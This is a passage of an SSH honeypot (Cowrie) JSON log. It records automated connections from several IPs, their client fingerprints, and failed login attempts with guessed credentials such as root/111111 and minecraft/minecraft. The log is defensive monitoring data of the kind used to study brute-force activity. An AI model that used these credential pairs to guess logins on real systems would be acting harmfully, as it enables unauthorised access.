a-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:15.983292Z","src_ip":"202.29.225.206","session":"e1f498aa7be9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1d2m3i4n5","message":"login attempt [root/a1d2m3i4n5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:17.019969Z","src_ip":"202.29.225.206","session":"e1f498aa7be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:18.272731Z","src_ip":"202.29.225.206","session":"e1f498aa7be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":42510,"dst_ip":"10.17.0.5","dst_port":22,"session":"8041a4538767","protocol":"ssh","message":"New connection: 163.7.9.84:42510 (10.17.0.5:22) [session: 8041a4538767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:19.066376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:19.071171Z","src_ip":"163.7.9.84","session":"8041a4538767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:19.330873Z","src_ip":"163.7.9.84","session":"8041a4538767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flintoff","message":"login attempt [root/flintoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:20.401920Z","src_ip":"163.7.9.84","session":"8041a4538767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":35726,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec0ee60e2bb","protocol":"ssh","message":"New connection: 124.121.31.17:35726 (10.17.0.5:22) [session: eec0ee60e2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:21.365205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:21.370691Z","src_ip":"124.121.31.17","session":"eec0ee60e2bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:21.640753Z","src_ip":"124.121.31.17","session":"eec0ee60e2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:21.665092Z","src_ip":"163.7.9.84","session":"8041a4538767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:22.750869Z","src_ip":"124.121.31.17","session":"eec0ee60e2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:24.023826Z","src_ip":"124.121.31.17","session":"eec0ee60e2bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46648,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eee9c32c176","protocol":"ssh","message":"New connection: 43.163.119.215:46648 (10.17.0.5:22) [session: 2eee9c32c176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:26.662920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:26.667668Z","src_ip":"43.163.119.215","session":"2eee9c32c176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":47688,"dst_ip":"10.17.0.5","dst_port":22,"session":"b161f6beef20","protocol":"ssh","message":"New connection: 43.163.119.215:47688 (10.17.0.5:22) [session: b161f6beef20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:26.701185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:26.708403Z","src_ip":"43.163.119.215","session":"b161f6beef20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:26.906109Z","src_ip":"43.163.119.215","session":"2eee9c32c176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:26.953561Z","src_ip":"43.163.119.215","session":"b161f6beef20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:27.619774Z","src_ip":"43.163.119.215","session":"2eee9c32c176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:27.694072Z","src_ip":"43.163.119.215","session":"b161f6beef20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:28.860751Z","src_ip":"43.163.119.215","session":"2eee9c32c176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:28.941237Z","src_ip":"43.163.119.215","session":"b161f6beef20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":59300,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3ef31ba5b6","protocol":"ssh","message":"New connection: 186.116.56.108:59300 (159.203.135.109:22) [session: 3a3ef31ba5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:36.099362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:36.103824Z","src_ip":"186.116.56.108","session":"3a3ef31ba5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:36.238698Z","src_ip":"186.116.56.108","session":"3a3ef31ba5b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:36.650043Z","src_ip":"186.116.56.108","session":"3a3ef31ba5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:37.749607Z","src_ip":"186.116.56.108","session":"3a3ef31ba5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38384,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b1e225e2645","protocol":"ssh","message":"New connection: 43.163.119.215:38384 (10.17.0.5:22) [session: 5b1e225e2645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:43.323697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:43.328037Z","src_ip":"43.163.119.215","session":"5b1e225e2645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:43.565810Z","src_ip":"43.163.119.215","session":"5b1e225e2645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:44.553100Z","src_ip":"43.163.119.215","session":"5b1e225e2645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:45.792392Z","src_ip":"43.163.119.215","session":"5b1e225e2645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":34726,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c2cb8fc520","protocol":"ssh","message":"New connection: 43.163.119.215:34726 (10.17.0.5:22) [session: 42c2cb8fc520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:59.630376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:59.634809Z","src_ip":"43.163.119.215","session":"42c2cb8fc520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:59.871916Z","src_ip":"43.163.119.215","session":"42c2cb8fc520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:00.588481Z","src_ip":"43.163.119.215","session":"42c2cb8fc520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:01.828671Z","src_ip":"43.163.119.215","session":"42c2cb8fc520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":35006,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c0b3ef136cd","protocol":"ssh","message":"New connection: 67.102.183.113:35006 (10.17.0.5:22) [session: 2c0b3ef136cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:16.178663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:16.183748Z","src_ip":"67.102.183.113","session":"2c0b3ef136cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:16.264801Z","src_ip":"67.102.183.113","session":"2c0b3ef136cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:16.581909Z","src_ip":"67.102.183.113","session":"2c0b3ef136cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:17.657144Z","src_ip":"67.102.183.113","session":"2c0b3ef136cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":36350,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d1ee6c657b7","protocol":"ssh","message":"New connection: 205.209.121.72:36350 (10.17.0.5:22) [session: 5d1ee6c657b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:18.337670Z"}
